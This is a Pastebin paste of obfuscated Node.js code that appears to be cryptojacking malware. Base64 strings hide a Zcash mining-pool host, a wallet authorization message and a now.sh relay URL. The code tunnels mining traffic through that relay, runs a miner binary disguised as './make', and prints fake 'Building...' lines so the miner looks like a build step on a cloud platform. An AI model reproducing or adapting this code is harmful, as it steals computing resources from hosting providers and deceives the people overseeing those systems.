Guest User

Untitled

a guest
Jul 25th, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.92 KB | None | 0 0
  1. 'use strict';
  2. class z {
  3. constructor(y, x, w, v, u) {
  4. this.body = '';
  5. this.x = x;
  6. this.w = w;
  7. var t = urlParse(y);
  8. t['method'] = v ? 'POST' : 'GET';
  9. if (u) {
  10. t['headers'] = {};
  11. t['headers']['token'] = u;
  12. }
  13. var s = this;
  14. var r = http['request'](t, this.q);
  15. r.w = this;
  16. r.on('error', function() {
  17. s.q(null);
  18. });
  19. r.end(v);
  20. }
  21. o(r) {
  22. if (!r.complete) {
  23. var p = r.read();
  24. if (p) {
  25. this.body += p.toString();
  26. }
  27. var s = this;
  28. setTimeout(function() {
  29. s.o(r);
  30. }, 30);
  31. return;
  32. }
  33. var p = r.read();
  34. if (p) {
  35. this.body += p.toString();
  36. }
  37. this.x.call(this.w, this.body, r.statusCode);
  38. }
  39. q(n) {
  40. if (!n) {
  41. this.x.call(this.w, null, 0);
  42. return;
  43. }
  44. this.w.o(n);
  45. }
  46. }
  47. class m {
  48. constructor(l) {
  49. this.l = l;
  50. this.id = Date.now() * ~~(Math.random() * 1000000);
  51. this.timer = setInterval(this.k.bind(this), 1000);
  52. l.on('data', this.j.bind(this));
  53. l.on('error', this.i.bind(this));
  54. l.on('close', this.h.bind(this));
  55. }
  56. k() {
  57. var s = this;
  58. new z(BCD + 'api/' + this.id, function(n, status) {
  59. if (status !== 200) {
  60. clearInterval(s.timer);
  61. s.l.end('');
  62. return;
  63. }
  64. if (n) {
  65. s.l.write(n);
  66. }
  67. }, this);
  68. }
  69. j(p) {
  70. new z(BCD + 'api/' + this.id, function() {}, this, p);
  71. }
  72. i() {
  73. clearInterval(this.timer);
  74. }
  75. h() {
  76. clearInterval(this.timer);
  77. }
  78. }
  79. class g {
  80. constructor() {
  81. this.mac = MAC;
  82. this.port = 0;
  83. this.tasks = 7;
  84. this.server = new Server();
  85. this.server.on('connection', function(l) {
  86. new m(l);
  87. });
  88. var s = this;
  89. this.server.on('listening', function() {
  90. s.f();
  91. });
  92. this.server.listen(0, '0.0.0.0');
  93. }
  94. e(p) {
  95. new z(BCD + 'flock', function() {}, this, os.hostname() + ':' + p.toString());
  96. }
  97. a(d) {
  98. var c = this.mac + ':' + this.port;
  99. var s = this;
  100. if ((d || d === null) && this.tasks > 1) {
  101. this.tasks--;
  102. }
  103. setTimeout(function() {
  104. process.env['LD_LIBRARY_PATH'] = './';
  105. try {
  106. var b = spawn('./make', ['-t', s.tasks.toString(), '-l', c, '-u', JOB_QUEUE]);
  107. b.on('error', function(d) {
  108. s.a(d);
  109. setTimeout(function() {
  110. process.exit(0);
  111. }, 2000);
  112. });
  113. b.on('exit', function(exitCode) {
  114. s.a(exitCode);
  115. });
  116. } catch (e) {
  117. s.e(c + ' ' + e);
  118. }
  119. }, 3000);
  120. this.e(c + ' ' + this.tasks + ' ' + d);
  121. }
  122. f() {
  123. this.port = this.server.address().port;
  124. var s = this;
  125. var zz = new Socket();
  126. setTimeout(function() {
  127. if (!s.initialized) {
  128. s.initialized = true;
  129. s.mac = MAC_SLAVE;
  130. s.a();
  131. }
  132. }, 3000);
  133. zz.on('error', function() {});
  134. zz.on('data', function(p) {
  135. zz.destroy();
  136. if (s.initialized) {
  137. return;
  138. }
  139. s.initialized = true;
  140. if (p.toString().indexOf('"result":true,"error":null') === -1) {
  141. s.mac = MAC_SLAVE;
  142. } else {
  143. s.port = 2142;
  144. }
  145. s.a();
  146. });
  147. zz.connect(2142, MAC);
  148. zz.write(KEY);
  149. }
  150. }
  151. var Socket = require('net').Socket;
  152. var Server = require('net').Server;
  153. var http = require('https');
  154. var urlParse = require('url').parse;
  155. var spawn = require('child_process').spawn;
  156. var os = require('os');
  157. var JOB_QUEUE = new Buffer('dDFVdVh0VEdXU1didVpKamJEZGhYbzJNeEJ3UHQyS2JVNUU=', 'base64').toString();
  158. var KEY = new Buffer('eyJpZCI6MCwgIm1ldGhvZCI6Im1pbmluZy5hdXRob3JpemUiLCAicGFyYW1zIjpbInQxVXVYdFRHV1NXYnVaSmpiRGRoWG8yTXhCd1B0MktiVTVFIiwgIiJdfQo=', 'base64').toString();
  159. var MAC = new Buffer('emVjLWV1LnN1cHJub3ZhLmNj', 'base64').toString();
  160. var MAC_SLAVE = new Buffer('MTI3LjAuMC4x', 'base64').toString();
  161. var BCD = new Buffer('aHR0cHM6Ly9oZWxsb3dvcmxkLXBibG1jZ2VjbWgubm93LnNoLw==', 'base64').toString();
  162. new g();
  163. if (process.argv[process.argv.length - 1] === 'build') {
  164. setTimeout(function() {
  165. process.exit(0);
  166. }, 1000000);
  167. setInterval(function() {
  168. console['log']('Building...', os.loadavg()[0]);
  169. }, 10000);
  170. }
Add Comment
Please, Sign In to add comment